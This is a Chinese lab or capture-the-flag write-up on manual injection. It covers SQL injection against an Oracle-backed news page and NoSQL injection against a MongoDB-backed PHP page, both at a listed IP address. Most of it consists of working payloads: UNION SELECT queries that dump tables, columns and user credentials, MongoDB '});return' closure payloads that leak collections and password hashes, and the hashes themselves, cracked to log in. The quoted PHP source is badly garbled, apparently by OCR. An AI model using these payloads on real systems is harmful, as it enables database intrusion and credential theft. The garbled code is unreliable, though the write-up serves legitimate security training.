SQL注入&PostgreSQL&SQLserver&实战
Oracle数据库
解题方向
手工进行SQL注入测试,获取管理密码登录。
http://219.153.49.228:41733/new_list.php?id=1 order by 3
order by猜字段 2正常 3不正常
联合查询测回显点
http://219.153.49.228:41733/new_list.php?id=1 union select '1','2' from dual
发现 1 2都是回显点都可以进行注入
爆库:
http://219.153.49.228:41733/new_list.php?id=1 and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name='sns_users') from dual
模糊爆库
http://219.153.49.228:41733/new_list.php?id=1 and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
此时利用普通爆库语句和模糊爆库都发现只有一个名为'sns_users'的库 那继续往下进行 记得记录好信息
爆列名:
http://219.153.49.228:41733/new_list.php?id=1 and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name ='sns_users') from dual
爆其他列名:
http://219.153.49.228:41733/new_list.php?id=1 and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name ='sns_users' and column_name not in ('USER_NAME')) from dual
也就是在后面拼接 and column_name not in ('库名')
发现还有一个USER_PWD这个列名 然后我们继续爆数据
http://219.153.49.228:41733/new_list.php?id=1 and 1=2 union select user_name,user_pwd from "sns_users"
发现有个用户名叫“hu” cmd5进行解密 密码等于796680 尝试登录 发现密码错误
排除 “hu”这个用户 再爆其用户
在上一条语句中拼接 where user_name<>'hu' 这条语句 表示查询数据 排除“hu”这个用户
这个应该就是正确的账号密码 为了实验严谨 我们把数据全部爆完 也就是再在后面拼接一条排除语句
至此 所有的用户都已经爆出来了 都进行 cmd5解密 “hu”这个用户已经测试过了 是密码错误
在利用 “墨者这个用户登录” cmd5密码解密为“796680”
成功登录 拿到flag
MongoDB数据库
<7php
header('content-type:text/html;charset=utf-8°);
require_once config·php';
$b=mongo->mozhe_cms_Authority;
$1d=_GET['id'];
$query="var data=db·notice.findone({'id':$id}); return data;;
$obj=sdb->execute($query);
7>
<IDOCTYPE html>
chtml lang="ens
cheads
<meta charset="UTF-8”
<title>XWAY科技管理系统V3.0</title>
<style.bodytwidth:60opxiheight:500pximargin:0 auto.titletcoor:redheight:60px;line-height:60px;
font-size:30pxifont-weight:700;margin-top:75ptsborder-bottom:2px solid red:text-align:center
content,titletmargin:o auto;width:6oopx;dispay:block.contentfheight:3opx;line-height:3opx;
font-size:18pximargin-top:40px;text-align:left;color:#828282}</style>
</heads
<body>
<div class='body'>
<div class=titie<7php echo $obj['retval']['titlel] ?</div
<div class='lcontent"s<7php echo $obj['retval']['content'] ?></div
</body
</html>
首先先查看他这个源码
外面发现他这样sql查询语句中
和我们平常的sql语句不一样
<?php
//数据库连接
$conn=mysqli_connect("locahost","root","root");
//连接数据库里面的库
$mysqli_select_db($conn,'库名');
//通过get方式请求接受id参数名值给变量i
$i=GET['id'];
//设置sql语句
$sql="select * form sy_gusetbook where id=$i";
//当我们可以通过传输id值来控制sql语句的时候,就能实现sql注入了
//那么我们一般判断有没有sql注入的时候是id=1 and 1=2,这样判断的
//当我们在id=1后面加上and 1=2的时候,那么如果没有过来直接传输到我们的sql语句中就变成这样
//select * form sy_gusetbook where id=1 and 1=2;
//那么他后面就是接上我需要用到的sql语句
?>
我们发现他这个sql语句中啊外面多了一个({})
query="var data=db·notice.findone({'id':id}); return data;;
而我平常的是没有的
i";
那么如果这样的话我们就需要进行闭合上的绕过
其实也很监督
在查询语句中加上})
看效果
$query="var data=db·notice.findone({'id':})and 1=2});
这样的话
我们就闭合掉了
({'id':})
后面就是另外一个部分了
下面就判断字段
回显位
'}); return ({title:1,content:'2
爆库
'}); return ({title:tojson(db),content:'1
db就是当前库的意思
mozhe_cms_Authority
爆表
'}); return ({title:tojson(db.getCollectionNames()),content:'1
getCollectionNames表名
"Authority_confidential", "notice", "system.indexes"
爆数据
'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
'}); return ({title:tojson(db.表名.find()[第0条数据]),content:'1
{"_id" : ObjectId("62134422de15822e9fc67bd6"), "name" : "mozhe", "passwords" : "a83cd5ad5ed3e1c5597441aaab289f5c", "status" : "0"
我们的MDB数据库他比较特别
他不需要得到列名
"name" : "mozhe",
"passwords" : "a83cd5ad5ed3e1c5597441aaab289f5c"
第1条数据
{ "_id" : ObjectId("62134423d0414e4d92794901"), "name" : "mozhe", "passwords" : "86ad98073650414fad1d15ca85629bad", "status" : "1" }
"name" : "mozhe"
"passwords" : "86ad98073650414fad1d15ca85629bad"